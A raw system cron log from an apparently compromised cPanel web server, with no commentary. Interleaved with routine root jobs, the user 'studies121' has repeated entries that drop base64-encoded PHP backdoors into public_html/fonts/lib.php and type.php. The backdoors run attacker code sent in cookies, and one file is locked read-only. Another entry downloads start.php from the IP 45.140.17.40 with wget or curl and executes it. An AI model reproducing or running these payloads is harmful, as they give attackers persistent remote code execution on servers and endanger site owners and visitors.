Sep  7 23:46:01 ip-184-168-122-23 CROND[6688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:46:01 ip-184-168-122-23 CROND[6689]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 23:46:01 ip-184-168-122-23 CROND[6690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:46:01 ip-184-168-122-23 CROND[6691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:46:01 ip-184-168-122-23 CROND[6692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:46:01 ip-184-168-122-23 CROND[6694]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 23:47:02 ip-184-168-122-23 CROND[6783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:47:02 ip-184-168-122-23 CROND[6785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:47:02 ip-184-168-122-23 CROND[6784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:47:02 ip-184-168-122-23 CROND[6786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:48:01 ip-184-168-122-23 CROND[6867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:48:01 ip-184-168-122-23 CROND[6870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:48:01 ip-184-168-122-23 CROND[6869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:48:01 ip-184-168-122-23 CROND[6868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:48:01 ip-184-168-122-23 CROND[6871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:49:01 ip-184-168-122-23 CROND[6956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:49:01 ip-184-168-122-23 CROND[6955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:49:01 ip-184-168-122-23 CROND[6958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:49:01 ip-184-168-122-23 CROND[6957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:50:01 ip-184-168-122-23 CROND[7142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:50:01 ip-184-168-122-23 CROND[7143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:50:01 ip-184-168-122-23 CROND[7145]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 23:50:01 ip-184-168-122-23 CROND[7146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:50:01 ip-184-168-122-23 CROND[7147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:50:01 ip-184-168-122-23 CROND[7149]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:50:01 ip-184-168-122-23 CROND[7150]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:50:01 ip-184-168-122-23 CROND[7151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:50:01 ip-184-168-122-23 CROND[7152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:51:01 ip-184-168-122-23 CROND[7253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:51:01 ip-184-168-122-23 CROND[7254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:51:01 ip-184-168-122-23 CROND[7255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:51:01 ip-184-168-122-23 CROND[7256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:52:01 ip-184-168-122-23 CROND[7338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:52:01 ip-184-168-122-23 CROND[7341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:52:01 ip-184-168-122-23 CROND[7342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:52:01 ip-184-168-122-23 CROND[7340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:52:01 ip-184-168-122-23 CROND[7339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:53:01 ip-184-168-122-23 CROND[7431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:53:01 ip-184-168-122-23 CROND[7433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:53:01 ip-184-168-122-23 CROND[7434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:53:01 ip-184-168-122-23 CROND[7432]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  7 23:53:01 ip-184-168-122-23 CROND[7435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:54:01 ip-184-168-122-23 CROND[7539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:54:01 ip-184-168-122-23 CROND[7540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:54:01 ip-184-168-122-23 CROND[7541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:54:01 ip-184-168-122-23 CROND[7542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:54:01 ip-184-168-122-23 CROND[7543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:55:01 ip-184-168-122-23 CROND[7647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:55:01 ip-184-168-122-23 CROND[7649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:55:01 ip-184-168-122-23 CROND[7650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:55:01 ip-184-168-122-23 CROND[7653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:55:01 ip-184-168-122-23 CROND[7652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:55:01 ip-184-168-122-23 CROND[7654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:56:01 ip-184-168-122-23 CROND[7743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:56:01 ip-184-168-122-23 CROND[7742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:56:01 ip-184-168-122-23 CROND[7744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:56:01 ip-184-168-122-23 CROND[7745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:56:01 ip-184-168-122-23 CROND[7746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:57:02 ip-184-168-122-23 CROND[7923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:57:02 ip-184-168-122-23 CROND[7924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:57:02 ip-184-168-122-23 CROND[7925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:57:02 ip-184-168-122-23 CROND[7926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:58:01 ip-184-168-122-23 CROND[8004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
